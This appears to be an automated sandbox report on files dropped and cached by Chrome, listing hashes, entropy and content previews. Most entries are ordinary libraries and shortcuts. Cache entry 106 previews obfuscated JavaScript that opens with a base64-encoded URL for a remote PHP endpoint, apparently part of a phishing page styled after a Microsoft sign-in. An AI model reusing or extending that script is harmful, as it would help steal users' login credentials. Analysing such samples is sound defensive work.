.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 19 13:13:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9953506142678417
Encrypted:	false
SSDEEP:	48:8WLdiTuaNHyHidAKZdA1vehDiZUkwqehAy+R:8WUDpKy
MD5:	CDDD0345270BC7905351ACA26BDC7611
SHA1:	220D3E0B4F5A21BB6425D15C417A0D2C5E941C03
SHA-256:	26CC37E38FB0F5CA5998A7F63E0825ABF4BCFDA8B5739DF26397C2456A6D4778
SHA-512:	16FCEB710657CDB696EA00CAD8FC1D07B9BA400953C6148EBD1600C18BDE689F9E311CBD63F982E1EA9D5480E673C7E6C38D275A6A03753458B696D620EE60F5
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......- R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 19 13:13:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.98392053092862
Encrypted:	false
SSDEEP:	48:8ldiTuaNHyHidAKZdA1hehBiZUk1W1qeh+y+C:8qDZ9ey
MD5:	0843716F3C86480A89EFE421719D5399
SHA1:	929E47A36DF59F8F644F7A3EE4EFB9E0233CEE87
SHA-256:	679E83E80091E8A8FCE7AC8039EC9727FA362D9F49577A69642C1DB0CEA68124
SHA-512:	A174261628D1ED6C6E52E347D0ADDC8CBD9FB71F9C31544E22AA23FC0E5F2909F958382E011BAC85E691EAC10C32C95FC606F7845CCF6C443FA7BDC5301338F8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....>.- R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Dec 19 13:13:29 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.994787366481008
Encrypted:	false
SSDEEP:	48:8YndiTuaNHyHidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb4y+yT+:8PDlT/TbxWOvTb4y7T
MD5:	3B47722719ADF9957D599B347316FA79
SHA1:	3593EE3293C27800CB89D7DD01FAD0F0AF7FDB0F
SHA-256:	C1E5977F2AA4583F0A307B4F843B876997F9E3EA772D18E380E21C9C07CCF3BD
SHA-512:	DEAF83819FCDD2CB39E081A9452D448B1B0EC416EA6D3BE9B86FD4EE70E7F6FBE70C76C3112B10326E658556A62CFBE0AD630389D8D9FF7F861E5B281A8F1208
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....!.- R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.q....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............3.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	downloaded
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://code.jquery.com/jquery-3.2.1.slim.min.js
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	dropped
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
URL:	https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454), with CRLF line terminators
Category:	dropped
Size (bytes):	553316
Entropy (8bit):	4.912214415988568
Encrypted:	false
SSDEEP:	6144:6TWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:hay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	2E24A93C29E7A01C94A1BD61084C5178
SHA1:	19BEF803938A36659424D0C7B167B94EA2EE35E3
SHA-256:	D5491C51FEE578978BF126BB644661D19250D3F54332E1C8D18C5472C241B5E2
SHA-512:	383F3842D767795D9D3E03C9392F4DE0668C5D5DD79AC15A34A4303DBD2A1F6F5C7D8E776EA19E68BE97DD0024650CCCE8DE3981E62F68EB13390A67FE72A764
Malicious:	false
Preview:	var file = "aHR0cHM6Ly9uZXdtaW5kLmZlZGVyYWxjb3VydGZpbGVzLmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoBM','\x20.bor

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
